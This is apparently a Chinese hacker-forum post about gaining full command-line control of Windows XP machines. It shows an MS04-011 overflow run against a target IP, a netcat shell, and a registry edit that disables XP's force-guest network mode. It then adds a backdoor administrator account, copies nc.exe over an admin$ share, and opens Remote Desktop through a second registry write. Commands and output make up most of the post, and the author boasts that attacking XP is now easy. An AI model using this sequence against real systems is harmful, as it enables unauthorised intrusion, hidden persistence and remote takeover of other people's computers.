xp系统对于外来用户即使是admin也当成guest,所以我们用得到对方admin账号密码也无法使用ipc$去连接对方,尽管提示命令成功完成,但依旧没有权限,而使得一些基于ipc$连接的软件也无法使用,这个比较郁闷。
今天xp的本地安全策略中偶然看到一项"网络放问:本地账户的共享和安全模式 仅来宾-本地用户以来宾身份验证",看一下属性,还有一项"经典-本地用户以自己的身份验证"。眼睛一亮,原来如此,将他改成"经典......"后,试了一下,用另一台机器可以通过ipc$连到xp,和2k一样,哈 ,爽。
于是就想如何能够在提示符下实现,改这些东西,一般就是改的注册表,所以决定从注册表下手,看看注册表有什么变化。找了个工具Resplendent Registrar,监视注册表的,在xp下选"仅来宾-本地用户以来宾身份验证"时开始监视,改成"经典......"后,发现注册表中只有一处发生了变化,[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]下面的"forceguest"的值由1变成了0,问题就在这。改回来宾模式,准备命令行下的测试。上传图片比较麻烦,就用code标签了,我用的是ms04011溢出的,比较老了,但还有很多机器有这个漏洞。用2k对这台xp进行测试
首先D:\>net use \\xpdonaroo\ipc$ 123 /u:test
命令成功完成。
D:\>net use z: \\xpdonaroo\admin$
密码在 \\xpdonaroo\admin$ 无效。
请键入 \\xpdonaroo\admin$ 的密码:
系统发生 5 错误。
拒绝访问。
看到了吧,默认情况下对xp用ipc$不好使 下面溢出
D:\>ms04011 1 192.168.8.222 1122
shellcode size 404
Ret value = 1727
再开一个shell
D:\>nc 192.168.8.222 1122
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
溢出成功,然后修改注册表,也是可以用命令实现的
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>cd..
cd..
C:\WINDOWS>
C:\WINDOWS>echo Windows Registry Editor Version 5.00>ipc1.reg
echo Windows Registry Editor Version 5.00>ipc1.reg
C:\WINDOWS>echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]>>ipc1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]>>ipc1.reg
C:\WINDOWS>echo "forceguest"=dword:00000000>>ipc1.reg
echo "forceguest"=dword:00000000>>ipc1.reg
C:\WINDOWS>regedit.exe /S ipc1.reg
regedit.exe /S ipc1.reg
这是写一个reg文件ipc1.reg,然后用regedit.exe /S ipc1.reg导入
下面建个超级用户,都会的,也写上吧
C:\WINDOWS>net user hahaha 123 /add
net user hahaha 123 /add
命令成功完成。
C:\WINDOWS>net localgroup administrators hahaha /add
net localgroup administrators hahaha /add
命令成功完成。
C:\WINDOWS>^C
D:\>net use \\xpdonaroo\ipc$ 123 /u:hahaha
命令成功完成。
D:\>net use z: \\xpdonaroo\admin$
命令成功完成。
看到最后的
C:\WINDOWS>^C
D:\>net use \\xpdonaroo\ipc$ 123 /u:hahaha
命令成功完成。
D:\>net use z: \\xpdonaroo\admin$
命令成功完成。
D:\>z:
Z:\>copy d:\nc.exe z:
已复制 1 个文件。
Z:\>dir nc.exe
驱动器 Z 中的卷没有标签。
卷的序列号是 0000-678A
Z:\ 的目录
1998-01-03 14:37 28,160 nc.exe
1 个文件 28,160 字节
0 个目录 15,185,248,256 可用字节
成功 哈哈哈哈 完全用命令 以后搞xp就方便啦
再补充点:写注册表的地方,如果再写入下边的内容,再用同样的方式导入,可以开xp的3389,2003的也可以。不许要重启,很方便。
c:\echo Windows Registry Editor Version 5.00>>3389.reg
c:\echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
c:\echo "fDenyTSConnections"=dword:00000000>>3389.reg
c:\regedit /s 3389.reg